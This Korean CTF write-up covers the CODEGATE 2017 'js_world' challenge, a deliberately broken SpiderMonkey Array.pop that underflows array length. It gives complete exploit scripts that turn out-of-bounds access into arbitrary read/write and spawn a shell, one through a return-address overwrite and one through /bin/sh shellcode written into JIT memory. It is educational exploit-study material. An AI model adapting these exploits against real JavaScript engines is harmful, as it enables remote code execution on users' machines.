pwn3r_45

CODEGATE 2017 QUAL - js_world 본문

CTF

CODEGATE 2017 QUAL - js_world

pwn3r 2018.09.26 19:14

blackperl security blog에서 포스트 읽다가 기억난 김에 풀어본 문제.

글 읽고 익스를 새로 짜봤다.


https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/



Files


-rwxr-xr-x 1 pwn3r pwn3r 5857384 Feb 12  2017 js
-rwxr-xr-x 1 pwn3r pwn3r 95155 Feb 12 2017 jsarray.cpp
-rw-r--r-- 1 pwn3r pwn3r 95297 Feb 12 2017 jsarray_original.cpp


Mozilla의 SpiderMonkey Javascript engine을 취약하게 패치한 문제.

3개의 파일이 주어졌다. (1) 인터프리터 (2) 패치 된 jsarray.cpp (3) 패치 전 jsarray_original.cpp

인터프리터를 실행하면 아래와 같이 원하는 javascript 구문을 실행할 수 있다.

$ ./js
js> print('hello')
hello

$ ./js hello.js
hello



Diffing (jsarray.cpp  vs  jsarray_original.cpp)




jsarray.cpp에서 pop attribute를 약간 수정했다. 기존(우측)에 index == 0일때 아무런 작업도 이루어지지 않도록 check가 있지만, 패치 된 소스에서는 index == 0일 때도 pop이 이루어진다. 따라서 length가 0일때 pop을 하면, length = -1(0xffffffff)이 될 수 있다. 이는 oob(out of boundary) read/write로 이어진다.


$ ./js
js>
a = new Array(1);
[,]
js>
a.pop();
js>
a.pop();
js>
a.length;
4294967295 // 0xffffffff



OOB RW -> Arbitrary RW


length가 0xffffffff 이기 때문에 기존 arr array 뒤에 있는 데이터를 읽거나 쓸 수 있다.
memory leak을 위해 뒤에 있는 임의의 객체(arr[0x301])를 읽어본다.

$ ./js
js> var arr = new Array(1);

js> arr.length; 1
js> arr[0x301];

js> // no...

js> arr.pop();
js> arr.pop();
js> arr.length 4294967295
js> arr[0x301] 6.9411824707387e-310

// yes!!


length가 4294967295가 되었으므로 arr[0x301]에 있는 데이터를 leak 할 수 있지만, array에서는 number 표현범위를 넘어가는 값은 Float scientific notation으로 표시한다.(6.9411824707387e-310)  
데이터를 가공할 때 편의를 위해 Float scientific notation <-> number를 변환해주는 함수를 정의한다. 

function mem_to_value(m){
var t = new Float64Array([m]);
t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}

function hex(n){
return "0x"+n.toString(16);
}

function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}
js> hex(mem_to_value(arr[0x301]))
"0x7fc6a1f264e0"


OOB RW -> Arbitrary RW

이제 내가 원하는 형태로 메모리 값을 읽어와 가공할 수 있다. 다음으로 할 일은 Arbitrary r/w가 가능하게 하는 것이다.
oob를 발생시킬 arr을 선언한 직후, arr2 = Uint32Arrary(0x900)를 선언하여 arr | .... | arr2 형태로 힙을 구성한다.
arr에서 oob write로 arr2의 포인터를 조작하고, arr2[0], arr2[1]에서 데이터를 read or write 함으로써 Arbitrary read/write를 달성한다. 코드를 작성하면 아래와 같다.

arr = new Array(1);

arr2 = new Uint32Array(0x900);

arr.pop();
arr.pop();

.............................

.............................


function read_data(addr){
arr[arr2_idx] = value_to_mem(addr);
return arr2[1] * 0x100000000 + arr2[0];
}

function write_data(addr, value){
arr[arr2_idx] = value_to_mem(addr);
arr2[0] = value % 0x100000000;
arr2[1] = parseInt(value / 0x100000000);
}


arr을 기준으로 arr2 객체의 index를 찾기 위해 arr2의 length인 0x900을 검색했다.

arr = new Array(1);
arr2 = new Uint32Array(0x900);

arr.pop();
arr.pop();

var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;

print('js_heap base : '+hex(js_heap));

// find arr2 object by size(0x900)
for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;


이제 Arbitrary read/write가 가능하므로 어떤 부분을 overwrite 하여 exploit 할지 결정하면 된다.

공부를 위해 2가지 방법으로 풀이해봤다. 


(1) stack 주소를 leak해서 return address를 overwrite

(2) 반복된 코드를 이용해 JIT 영역을 생성 후, JIT 영역에 shellcode overwrite




(1) Way 1 - overwrite return address


사실 이 방법으로 풀이하는 것은 굉장히 간단하다.


 1. javascript heap에서 vtable 포인터를 찾아 pie_base를 구한다.

2. pie_base로 계산한 got에서 libc주소를 구한다.

3. libc_argv에서 stack주소를 구한다.

4. main's return address에 one gadget 주소를 overwrite 한다.


위 순서로 stack 주소를 알아내고 return address를 덮어썼다.


var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;

.........................
.........................


pie_base = read_data(vtable_ptr) - 0x7912c0;
strlen_got = pie_base + 0x78bbd8;
print('pie_base : '+hex(pie_base));


libc_base = read_data(strlen_got) - 0x8b720;
libc_one_gadget = libc_base + 0x4526a;
libc_argv = libc_base + 0x3c92f8;
print('libc_base : '+hex(libc_base));

heap_base = read_data(js_heap) - 0x46d00;
first_free_chunk = heap_base + 0xe5bb0;

stack_retaddr = read_data(libc_argv) - 0xe0;

write_data(stack_retaddr + 0x38, 0x0);
write_data(stack_retaddr, libc_one_gadget);


Full exploit  

function mem_to_value(m){
var t = new Float64Array([m]);
t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}

function hex(n){
return "0x"+n.toString(16);
}

function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}

arr = new Array(1);
arr2 = new Uint32Array(0x900);

arr.pop();
arr.pop();

var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;

print('js_heap base : '+hex(js_heap));

// find arr2 object by size(0x900)
for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;

function read_data(addr){
arr[arr2_idx] = value_to_mem(addr);
return arr2[1] * 0x100000000 + arr2[0];
}

function write_data(addr, value){
arr[arr2_idx] = value_to_mem(addr);
arr2[0] = value % 0x100000000;
arr2[1] = parseInt(value / 0x100000000);
}


pie_base = read_data(vtable_ptr) - 0x7912c0;
strlen_got = pie_base + 0x78bbd8;
print('pie_base : '+hex(pie_base));


libc_base = read_data(strlen_got) - 0x8b720;
libc_one_gadget = libc_base + 0x4526a;
libc_argv = libc_base + 0x3c92f8;
print('libc_base : '+hex(libc_base));

heap_base = read_data(js_heap) - 0x46d00;
first_free_chunk = heap_base + 0xe5bb0;

stack_retaddr = read_data(libc_argv) - 0xe0;

write_data(stack_retaddr + 0x38, 0x0);
write_data(stack_retaddr, libc_one_gadget);




(2) Way 2 - overwrite JIT area


SpiderMonkey javascript engine은 반복되는 코드가 있으면, rwx 권한의 JIT area를 할당하고 반복되는 코드에 대해 native code를 생성하여 JIT area에 write한다. 이후 반복되는 코드를 수행하면 JIT area에 있는 native code를 실행하여 실행속도를 높인다.


function repeat_me(a1, a2){
var nothing = a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
}


// create JIT area
for(i=0; i<40; i++){
repeat_me();
}


위 코드가 수행되고 나면 아래와 같이 rwx 영역이 생성되고, JIT area에 repeat_me() 함수에 대한 native code가 생성된다.


7ffff79a0000-7ffff79b9000 r-xp 00000000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff79b9000-7ffff7bb8000 ---p 00019000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bb8000-7ffff7bb9000 r--p 00018000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bb9000-7ffff7bba000 rw-p 00019000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bba000-7ffff7bd2000 r-xp 00000000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7bd2000-7ffff7dd1000 ---p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd1000-7ffff7dd2000 r--p 00017000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd2000-7ffff7dd3000 rw-p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7f9c000-7ffff7fe4000 rw-p 00000000 00:00 0
7ffff7fe7000-7ffff7ff7000 rwxp 00000000 00:00 0                          // JIT area
7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]


디버깅을 통해 메모리에서 repeat_me함수의 코드가 있는 JIT area 주소를 찾아보았다. 그 때, JIT area를 가리키는 포인터 주변에 0x2000000020f 라는 상수값이 있는 것을 확인했고, 이를 기준으로 JIT area의 주소를 얻어왔다.


// find JIT area ptr
for(i=arr2_idx; mem_to_value(arr[i]) != 0x2000000020f; i++);
jit_idx = i - 2;

// get JIT area address
jit_mem = mem_to_value(arr[jit_idx]);


주소를 알아냈으니 shellcode를 overwrite 하고 repeat_me() 함수를 호출하면 된다. shellcraft로 생성한 x64 /bin/sh shellcode를 사용했다.


function write_shellcode(addr){
// add padding for 4byte alignment
shellcode = "jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05";
shellcode += "\x00" * (4-shellcode.length % 4)

// arr2 = JIT area
arr[arr2_idx] = value_to_mem(addr);
for(i=0; i<shellcode.length; i+=4){
var slice = 0;
for(j=0; j<4; j++) slice |= shellcode.charCodeAt(i+j) << (8*j);
arr2[i / 4] = slice;
}
}

// write /bin/sh shellcode
write_shellcode(jit_mem);

// trigger
repeat_me();





Full exploit

function mem_to_value(m){
var res = 0;
var t = new Float64Array([m]);

t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}


function hex(n){
return "0x"+n.toString(16);
}


function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}

arr = new Array(1);
arr2 = new Uint32Array(0x900);


// trigger vuln
// arr.length = 0xffffffff
arr.pop();
arr.pop();


// find arr2 object by size(0x900)
var arr2_idx = 0;

for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;


function repeat_me(a1, a2){
var nothing = a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
}


b = Math.cos(0x34);
// create JIT area
for(i=0; i<40; i++){
repeat_me();
}
c = Math.cos(0x56);


// find JIT area ptr
for(i=arr2_idx; mem_to_value(arr[i]) != 0x2000000020f; i++);
jit_idx = i - 2;

// get JIT area address
jit_mem = mem_to_value(arr[jit_idx]);

function write_shellcode(addr){
// add padding for 4byte alignment
shellcode = "jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05";
shellcode += "\x00" * (4-shellcode.length % 4)

// arr2 = JIT area
arr[arr2_idx] = value_to_mem(addr);
for(i=0; i<shellcode.length; i+=4){
var slice = 0;
for(j=0; j<4; j++) slice |= shellcode.charCodeAt(i+j) << (8*j);
arr2[i / 4] = slice;
}
}

// write /bin/sh shellcode
write_shellcode(jit_mem);

// trigger
repeat_me();


Run exploit

$ ./js ex_stack.js
js_heap base : 0x7f1db8200000
pie_base : 0x55d26f6df000
libc_base : 0x7f1db89d1000

$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



$
./js ex_jit.js
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

'CTF' 카테고리의 다른 글

XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10
Tokyo Western CTF 2018 - swap Returns  (0) 2018.09.03
Tokyo Western CTF 2018 - Neighbor C  (0) 2018.09.03
0 Comments
댓글쓰기 폼